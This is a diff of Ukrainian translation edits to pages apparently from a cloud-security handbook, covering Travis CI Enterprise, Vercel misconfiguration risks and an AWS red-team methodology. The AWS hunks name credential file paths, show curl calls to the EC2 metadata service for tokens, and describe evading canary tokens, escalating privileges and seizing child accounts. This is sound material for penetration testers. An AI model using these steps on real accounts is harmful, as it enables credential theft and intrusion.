3. Залежно від вашої конфігурації, ви можете захотіти розгорнути та налаштувати деякі компоненти самостійно, наприклад, RabbitMQ - див. [Налаштування Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) для отримання додаткової інформації.
|
||||
|
||||
**TCI Worker вимагає наступного:**
|
||||
@@ -81,7 +81,7 @@ Travis CI Enterprise - це **локальна версія Travis CI**, яку
|
||||
1. Інфраструктуру, де може бути розгорнуто образ docker, що містить **Worker та пов'язаний образ збірки**.
|
||||
2. З'єднання з певними компонентами Travis CI Core Services - див. [Налаштування Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) для отримання додаткової інформації.
|
||||
|
||||
Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну ємність розгортання Travis CI Enterprise у вашій інфраструктурі.
|
||||
Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну потужність розгортання Travis CI Enterprise у вашій інфраструктурі.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@
|
||||
- **Ризик:** Вразливість до атак "людина посередині" (MITM), що компрометує цілісність та конфіденційність даних.
|
||||
- **Впровадження DNSSEC**
|
||||
- **Неправильна конфігурація:** Невключення DNSSEC або неправильні налаштування DNSSEC.
|
||||
- **Ризик:** Збільшена вразливість до спуфінгу DNS та атак на отруєння кешу.
|
||||
- **Ризик:** Збільшена сприйнятливість до підробки DNS та атак на кеш.
|
||||
- **Середовище, що використовується для кожного домену**
|
||||
- **Неправильна конфігурація:** Зміна середовища, що використовується доменом у виробництві.
|
||||
- **Ризик:** Витік потенційних секретів або функціональностей, які не повинні бути доступні у виробництві.
|
||||
@@ -54,7 +54,7 @@
|
||||
|
||||
- **Ізоляція середовища**
|
||||
- **Неправильна конфігурація:** Спільне використання змінних середовища між середовищами.
|
||||
- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує вразливість.
|
||||
- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує ризик.
|
||||
- **Доступ до чутливих середовищ**
|
||||
- **Неправильна конфігурація:** Дозволяючи широкий доступ до середовищ виробництва.
|
||||
- **Ризик:** Неавторизовані зміни або доступ до живих додатків, що може призвести до потенційних простоїв або витоків даних.
|
||||
@@ -71,11 +71,11 @@
|
||||
- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта.
|
||||
- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних.
|
||||
- **Чутливі вимкнені**
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації.
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
- **Спільні змінні середовища**
|
||||
- **Неправильна конфігурація:** Це змінні середовища, встановлені на рівні Команди, і можуть також містити чутливу інформацію.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
|
||||
---
|
||||
|
||||
@@ -104,14 +104,14 @@
|
||||
- **Неправильна конфігурація:** Надання надмірних дозволів інтегрованим сервісам.
|
||||
- **Ризик:** Неавторизований доступ до ресурсів проекту, маніпуляція даними або збої в сервісах.
|
||||
- **Відсутність моніторингу інтеграцій**
|
||||
- **Неправильна конфігурація:** Невиконання моніторингу та аудиту сторонніх інтеграцій.
|
||||
- **Неправильна конфігурація:** Невключення моніторингу та аудиту сторонніх інтеграцій.
|
||||
- **Ризик:** Затримка виявлення скомпрометованих інтеграцій, що збільшує потенційний вплив порушень безпеки.
|
||||
|
||||
---
|
||||
|
||||
### Захист розгортання
|
||||
|
||||
**Мета:** Забезпечити безпеку розгортань через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах.
|
||||
**Мета:** Забезпечити розгортання через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
|
||||
@@ -123,34 +123,34 @@
|
||||
**Обхід захисту для автоматизації**
|
||||
|
||||
- **Неправильна конфігурація:** Публічне розкриття секрету обходу або використання слабких секретів.
|
||||
- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ і маніпулюючи захищеними розгортаннями.
|
||||
- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ до захищених розгортань і маніпулюючи ними.
|
||||
|
||||
**Посилання для спільного використання**
|
||||
|
||||
- **Неправильна конфігурація:** Неправильне спільне використання посилань або невиконання відкликання застарілих посилань.
|
||||
- **Ризик:** Неавторизований доступ до захищених розгортань, обходячи аутентифікацію та обмеження IP.
|
||||
- **Неправильна конфігурація:** Безсистемне розкриття посилань або невиконання відкликання застарілих посилань.
|
||||
- **Ризик:** Неавторизований доступ до захищених розгортань, обминаючи аутентифікацію та обмеження IP.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Неправильна конфігурація:** Дозволення надто широких шляхів або чутливих кінцевих точок.
|
||||
- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання несанкціонованих дій або обходу перевірок безпеки.
|
||||
- **Неправильна конфігурація:** Надмірно широке дозволення шляхів або чутливих кінцевих точок.
|
||||
- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання неавторизованих дій або обходу перевірок безпеки.
|
||||
|
||||
**Захист паролем**
|
||||
|
||||
- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне спільне використання.
|
||||
- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне розкриття.
|
||||
- **Ризик:** Неавторизований доступ до розгортань, якщо паролі вгадуються або витікають.
|
||||
- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць.
|
||||
|
||||
**Виключення захисту розгортання**
|
||||
|
||||
- **Неправильна конфігурація:** Ненавмисне додавання доменів виробництва або чутливих до списку виключень.
|
||||
- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або несанкціонованого доступу.
|
||||
- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або неавторизованого доступу.
|
||||
- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць.
|
||||
|
||||
**Довірені IP-адреси**
|
||||
|
||||
- **Неправильна конфігурація:** Неправильне зазначення IP-адрес або діапазонів CIDR.
|
||||
- **Ризик:** Легітимні користувачі можуть бути заблоковані або несанкціоновані IP-адреси отримують доступ.
|
||||
- **Ризик:** Легітимні користувачі можуть бути заблоковані або неавторизовані IP можуть отримати доступ.
|
||||
- **Примітка:** Доступно в плані **Enterprise**.
|
||||
|
||||
---
|
||||
@@ -212,7 +212,7 @@
|
||||
|
||||
**Захист Git Fork**
|
||||
|
||||
- **Неправильна конфігурація:** Дозволяючи несанкціоновані запити на витяг без належних перевірок.
|
||||
- **Неправильна конфігурація:** Дозволяючи неавторизовані запити на витяг без належних перевірок.
|
||||
- **Ризик:** Зловмисний код може бути об'єднаний у кодову базу, вводячи вразливості або бекдори.
|
||||
|
||||
**Безпечний доступ до бекенду з OIDC Federation**
|
||||
@@ -222,17 +222,17 @@
|
||||
|
||||
**Політика збереження розгортання**
|
||||
|
||||
- **Неправильна конфігурація:** Встановлення занадто коротких термінів збереження (втрата історії розгортання) або занадто довгих (необхідне зберігання даних).
|
||||
- **Неправильна конфігурація:** Встановлення занадто коротких (втрата історії розгортання) або занадто довгих (необхідне зберігання даних) періодів збереження.
|
||||
- **Ризик:** Нездатність виконати відкат, коли це необхідно, або підвищений ризик витоку даних з старих розгортань.
|
||||
|
||||
**Нещодавно видалені розгортання**
|
||||
|
||||
- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматизовані видалення.
|
||||
- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматичні видалення.
|
||||
- **Ризик:** Втрата критичної історії розгортання, що ускладнює аудити та відкат.
|
||||
|
||||
---
|
||||
|
||||
### Розширене
|
||||
### Розширений
|
||||
|
||||
**Мета:** Доступ до додаткових налаштувань проекту для тонкого налаштування конфігурацій та підвищення безпеки.
|
||||
|
||||
@@ -240,7 +240,7 @@
|
||||
|
||||
**Список директорій**
|
||||
|
||||
- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорії без індексного файлу.
|
||||
- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорій без індексного файлу.
|
||||
- **Ризик:** Витік чутливих файлів, структури додатка та потенційних точок входу для атак.
|
||||
|
||||
---
|
||||
@@ -267,7 +267,7 @@
|
||||
|
||||
### Джерело
|
||||
|
||||
- **Неправильна конфігурація:** Дозволяє доступ до читання повного вихідного коду додатка
|
||||
- **Неправильна конфігурація:** Дозволяє доступ для читання повного вихідного коду додатка
|
||||
- **Ризик:** Потенційний витік чутливої інформації
|
||||
|
||||
### Захист від спотворення
|
||||
@@ -311,7 +311,7 @@
|
||||
- **Ризик:** Стійкість зловмисника
|
||||
- **Ролі**
|
||||
- **Неправильна конфігурація:** Надання занадто багатьох дозволів людям, яким це не потрібно, збільшує ризик конфігурації Vercel. Перевірте всі можливі ролі на [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Ризик**: Збільшення вразливості команди Vercel
|
||||
- **Ризик**: Збільшення експозиції команди Vercel
|
||||
|
||||
---
|
||||
|
||||
@@ -321,7 +321,7 @@
|
||||
|
||||
**Потенційні неправильні конфігурації:**
|
||||
|
||||
- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до несанкціонованого доступу або дій.
|
||||
- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до неавторизованого доступу або дій.
|
||||
- **Неправильні призначення ролей:** Неправильне призначення ролей, які не відповідають обов'язкам членів команди, що викликає ескалацію привілеїв.
|
||||
- **Відсутність сегрегації проектів:** Невиконання розділення чутливих проектів, що дозволяє більш широкий доступ, ніж передбачалося.
|
||||
- **Недостатнє управління групами:** Нерегулярний перегляд або оновлення груп доступу, що призводить до застарілих або невідповідних дозволів доступу.
|
||||
@@ -343,36 +343,36 @@
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
|
||||
- **Домен електронної пошти команди:** При налаштуванні це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі приладів.
|
||||
- **Домен електронної пошти команди:** Коли налаштовано, це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі управління.
|
||||
- **Неправильна конфігурація:** 
|
||||
- Вказування неправильного домену електронної пошти або помилково написаного домену в налаштуванні домену електронної пошти команди.
|
||||
- Використання загального домену електронної пошти (наприклад, `gmail.com`, `hotmail.com`) замість домену, специфічного для компанії.
|
||||
- **Ризики:**
|
||||
- **Неавторизований доступ:** Користувачі з адресами електронної пошти з ненавмисних доменів можуть отримати запрошення приєднатися до вашої команди.
|
||||
- **Витік даних:** Потенційний витік чутливої інформації проекту для несанкціонованих осіб.
|
||||
- **Витік даних:** Потенційний витік чутливої інформації проекту для неавторизованих осіб.
|
||||
- **Захищені Git-обсяги:** Дозволяє вам додати до 5 Git-обсягів до вашої команди, щоб запобігти іншим командам Vercel від розгортання репозиторіїв з захищеного обсягу. Кілька команд можуть вказувати один і той же обсяг, що дозволяє обом командам отримати доступ.
|
||||
- **Неправильна конфігурація:** Невключення критичних Git-обсягів до захищеного списку.
|
||||
- **Ризики:**
|
||||
- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з Git-обсягів вашої організації без авторизації.
|
||||
- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з обсягів Git вашої організації без авторизації.
|
||||
- **Витік інтелектуальної власності:** Програмний код може бути розгорнутий і доступний за межами вашої команди.
|
||||
- **Політики змінних середовища:** Встановлює політики для створення та редагування змінних середовища команди. Зокрема, ви можете вимагати, щоб усі змінні середовища створювалися як **Чутливі змінні середовища**, які можуть бути розшифровані лише системою розгортання Vercel.
|
||||
- **Неправильна конфігурація:** Залишення вимоги чутливих змінних середовища вимкненою.
|
||||
- **Ризики:**
|
||||
- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані несанкціонованими членами команди.
|
||||
- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані неавторизованими членами команди.
|
||||
- **Витік даних:** Чутлива інформація, така як API ключі та облікові дані, може бути витікана.
|
||||
- **Журнал аудиту:** Надає експорт активності команди за останні 90 днів. Журнали аудиту допомагають у моніторингу та відстеженні дій, виконаних членами команди.
|
||||
- **Неправильна конфігурація:**\
|
||||
Надання доступу до журналів аудиту несанкціонованим членам команди.
|
||||
Надання доступу до журналів аудиту неавторизованим членам команди.
|
||||
- **Ризики:**
|
||||
- **Порушення конфіденційності:** Витік чутливих дій та даних користувачів.
|
||||
- **Підробка журналів:** Зловмисники можуть змінювати або видаляти журнали, щоб приховати свої сліди.
|
||||
- **SAML Single Sign-On:** Дозволяє налаштування аутентифікації SAML та синхронізації каталогів для вашої команди, що дозволяє інтеграцію з постачальником ідентичності (IdP) для централізованої аутентифікації та управління користувачами.
|
||||
- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL SSO або відбитки сертифікатів.
|
||||
- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL-адреса SSO або відбитки сертифікатів.
|
||||
- **Ризик:** Підтримка стійкості
|
||||
- **Видимість IP-адрес:** Контролює, чи відображаються IP-адреси, які можуть вважатися особистою інформацією відповідно до певних законів про захист даних, у запитах моніторингу та Log Drains.
|
||||
- **Неправильна конфігурація:** Залишення видимості IP-адрес увімкненою без необхідності.
|
||||
- **Ризики:**
|
||||
- **Порушення конфіденційності:** Невідповідність вимогам законодавства про захист даних, таким як GDPR.
|
||||
- **Порушення конфіденційності:** Невиконання вимог законодавства про захист даних, таких як GDPR.
|
||||
- **Юридичні наслідки:** Потенційні штрафи та покарання за неналежне оброблення особистих даних.
|
||||
- **Блокування IP:** Дозволяє налаштування IP-адрес та діапазонів CIDR, з яких Vercel має блокувати запити. Заблоковані запити не впливають на ваше білінг.
|
||||
- **Неправильна конфігурація:** Може бути зловмисно використана зловмисником для дозволу шкідливого трафіку або блокування легітимного трафіку.
|
||||
@@ -382,18 +382,18 @@
|
||||
|
||||
---
|
||||
|
||||
### Безпечні обчислення
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних) шляхом створення ізольованих мереж з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність.
|
||||
**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних), створюючи ізольовані мережі з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність.
|
||||
|
||||
#### **Потенційні неправильні конфігурації та ризики**
|
||||
|
||||
1. **Неправильний вибір регіону AWS**
|
||||
- **Неправильна конфігурація:** Вибір регіону AWS для мережі Secure Compute, який не відповідає регіону бекенд-сервісів.
|
||||
- **Ризик:** Збільшена затримка, потенційні проблеми з відповідністю резидентності даних та зниження продуктивності.
|
||||
2. **Перекриваючі CIDR-блоки**
|
||||
- **Неправильна конфігурація:** Вибір CIDR-блоків, які перекриваються з існуючими VPC або іншими мережами.
|
||||
- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, несанкціонованого доступу або витоку даних між мережами.
|
||||
2. **Перекриваючі CIDR блоки**
|
||||
- **Неправильна конфігурація:** Вибір CIDR блоків, які перекриваються з існуючими VPC або іншими мережами.
|
||||
- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, неавторизованого доступу або витоку даних між мережами.
|
||||
3. **Неправильна конфігурація VPC Peering**
|
||||
- **Неправильна конфігурація:** Неправильне налаштування VPC peering (наприклад, неправильні ID VPC, неповні оновлення таблиць маршрутів).
|
||||
- **Ризик:** Неавторизований доступ до інфраструктури бекенду, невдалі безпечні з'єднання та потенційні витоки даних.
|
||||
@@ -402,22 +402,22 @@
|
||||
- **Ризик:** Спільна експозиція IP збільшує поверхню атаки, потенційно дозволяючи скомпрометованим проектам впливати на інші.
|
||||
5. **Недостатнє управління IP-адресами**
|
||||
- **Неправильна конфігурація:** Невиконання управління або ротації виділених IP-адрес належним чином.
|
||||
- **Ризик:** Спуфінг IP, вразливості для відстеження та потенційне занесення в чорний список, якщо IP пов'язані зі шкідливою діяльністю.
|
||||
- **Ризик:** Підробка IP, вразливості для відстеження та потенційне занесення до чорного списку, якщо IP пов'язані зі шкідливою діяльністю.
|
||||
6. **Неправильне включення контейнерів збірки**
|
||||
- **Неправильна конфігурація:** Додавання контейнерів збірки до мережі Secure Compute, коли доступ до бекенду не потрібен під час збірок.
|
||||
- **Ризик:** Розширена поверхня атаки, збільшені затримки в постачанні та ненадійне споживання мережевих ресурсів.
|
||||
- **Ризик:** Розширена поверхня атаки, збільшені затримки при наданні та неналежне споживання мережевих ресурсів.
|
||||
7. **Невиконання безпечного оброблення секретів обходу**
|
||||
- **Неправильна конфігурація:** Витік або неналежне оброблення секретів, що використовуються для обходу захисту розгортання.
|
||||
- **Ризик:** Неавторизований доступ до захищених розгортань, що дозволяє зловмисникам маніпулювати або розгортати шкідливий код.
|
||||
8. **Ігнорування конфігурацій відмови регіону**
|
||||
- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів відмови або неправильне налаштування параметрів відмови.
|
||||
8. **Ігнорування налаштувань резервування регіону**
|
||||
- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів резервування або неправильне налаштування параметрів резервування.
|
||||
- **Ризик:** Перерви в обслуговуванні під час відмови основного регіону, що призводить до зниження доступності та потенційної несумісності даних.
|
||||
9. **Перевищення лімітів з'єднань VPC Peering**
|
||||
- **Неправильна конфігурація:** Спроба встановити більше з'єднань VPC peering, ніж дозволено (наприклад, перевищення 50 з'єднань).
|
||||
- **Ризик:** Нездатність безпечно підключити необхідні бекенд-сервіси, що викликає збої в розгортанні та операційні збої.
|
||||
10. **Небезпечні налаштування мережі**
|
||||
- **Неправильна конфігурація:** Слабкі правила брандмауера, відсутність шифрування або неналежна сегментація мережі в межах мережі Secure Compute.
|
||||
- **Ризик:** Перехоплення даних, несанкціонований доступ до бекенд-сервісів та підвищена вразливість до атак.
|
||||
- **Ризик:** Перехоплення даних, неавторизований доступ до бекенд-сервісів та підвищена вразливість до атак.
|
||||
|
||||
---
|
||||
|
||||
@@ -431,7 +431,7 @@
|
||||
- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта.
|
||||
- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних.
|
||||
- **Чутливі вимкнені**
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, читати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або несанкціонованого доступу до чутливої інформації.
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Перед початком пентестингу** середовища **AWS** є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати.
|
||||
**Перед початком тестування на проникнення** в **AWS** середовище є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати.
|
||||
|
||||
Концепції, такі як ієрархія організації, IAM та інші базові концепції, пояснюються в:
|
||||
Концепції, такі як ієрархія організації, IAM та інші основні концепції, пояснюються в:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
@@ -29,9 +29,9 @@ aws-basic-information/
|
||||
|
||||
## Методологія AWS Pentester/Red Team
|
||||
|
||||
Для аудиту середовища AWS дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані.
|
||||
Для аудиту AWS середовища дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані.
|
||||
|
||||
З точки зору Red Team, **перший крок для компрометації середовища AWS** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити:
|
||||
З точки зору Red Team, **перший крок до компрометації AWS середовища** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити:
|
||||
|
||||
- **Витоки** в github (або подібних) - OSINT
|
||||
- **Соціальна** інженерія
|
||||
@@ -42,7 +42,7 @@ aws-basic-information/
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3-ті сторони **зламані**
|
||||
- **Внутрішній** співробітник
|
||||
- **Внутрішній** працівник
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)облікові дані
|
||||
|
||||
Або шляхом **компрометації неавтентифікованої служби**, що експонується:
|
||||
@@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
Однією з перших речей, які вам потрібно знати, є те, хто ви (в якому обліковому записі ви знаходитесь та інша інформація про середовище AWS):
|
||||
Однією з перших речей, які вам потрібно знати, є те, хто ви є (в якому обліковому записі ви знаходитесь та інша інформація про AWS середовище):
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -92,18 +92,18 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
|
||||
> Зверніть увагу, що компанії можуть використовувати **canary tokens** для виявлення, коли **токени крадуться та використовуються**. Рекомендується перевірити, чи є токен canary token, перш ніж його використовувати.\
|
||||
> Для отримання додаткової інформації [**перевірте цю сторінку**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
### Перерахування організацій
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM Enumeration
|
||||
### Перерахування IAM
|
||||
|
||||
Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності всередині облікового запису AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**.
|
||||
|
||||
Якщо у вас недостатньо прав для перерахунку IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх з'ясувати.\
|
||||
Перевірте **як виконати нумерацію та брутфорс** в:
|
||||
Якщо у вас недостатньо прав для перерахування IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх виявити.\
|
||||
Перевірте **як виконати перерахування та брутфорс** в:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
@@ -111,11 +111,11 @@ aws-services/aws-iam-enum.md
|
||||
|
||||
> [!NOTE]
|
||||
> Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\
|
||||
> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.**
|
||||
> У наступному розділі ви можете перевірити деякі способи **перерахування деяких загальних сервісів.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
## Перерахування сервісів, пост-експлуатація та стійкість
|
||||
|
||||
AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, нумерацію** cheatsheets\*\*,\*\* як **уникнути виявлення**, отримати **постійність** та інші **післяексплуатаційні** трюки про деякі з них:
|
||||
AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **основну інформацію, перерахування** шпаргалок\*\*,\*\* як **уникнути виявлення**, отримати **стійкість** та інші **пост-експлуатаційні** трюки про деякі з них:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
@@ -123,13 +123,13 @@ aws-services/
|
||||
|
||||
Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](./#automated-tools).
|
||||
|
||||
Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів,** ви можете мати можливість їх експлуатувати:
|
||||
Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів**, ви можете мати можливість їх експлуатувати:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Підвищення привілеїв
|
||||
|
||||
Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, вказаних у:
|
||||
|
||||
@@ -137,10 +137,10 @@ aws-unauthenticated-enum-access/
|
||||
aws-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Publicly Exposed Services
|
||||
## Публічно доступні сервіси
|
||||
|
||||
Під час перерахунку сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернеті** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\
|
||||
Як pentester/red teamer ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**.
|
||||
Під час перерахування сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернет** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\
|
||||
Як пентестер/червона команда, ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**.
|
||||
|
||||
У цій книзі ви повинні знайти **інформацію** про те, як знайти **відкриті сервіси AWS та як їх перевірити**. Щодо того, як знайти **вразливості у відкритих мережевих сервісах**, я б рекомендував вам **шукати** конкретний **сервіс** в:
|
||||
|
||||
@@ -148,24 +148,24 @@ aws-privilege-escalation/
|
||||
https://book.hacktricks.xyz/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
## Компрометація організації
|
||||
|
||||
### From the root/management account
|
||||
### З облікового запису root/управління
|
||||
|
||||
Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** і надає політику **AdministratorAccess** для **облікового запису управління** для доступу до нового облікового запису.
|
||||
Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`** та надає політику **AdministratorAccess** обліковому запису **управління** для доступу до нового облікового запису.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Отже, для доступу як адміністратора до дочірнього облікового запису вам потрібно:
|
||||
Отже, для доступу як адміністратор до дочірнього облікового запису вам потрібно:
|
||||
|
||||
- **Скомпрометувати** **управлінський** обліковий запис і знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор.
|
||||
- **Компрометувати** обліковий запис **управління** та знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор.
|
||||
- Щоб знайти дочірні облікові записи, перейдіть до розділу організацій у консолі aws або виконайте `aws organizations list-accounts`
|
||||
- Ви не можете знайти назву ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**.
|
||||
- **Скомпрометувати** **принципала** в управлінському обліковому записі з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з управлінського облікового запису видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними).
|
||||
- Ви не можете знайти назви ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**.
|
||||
- **Компрометувати** **принципала** в обліковому записі управління з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з облікового запису управління видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними).
|
||||
|
||||
## Automated Tools
|
||||
## Автоматизовані інструменти
|
||||
|
||||
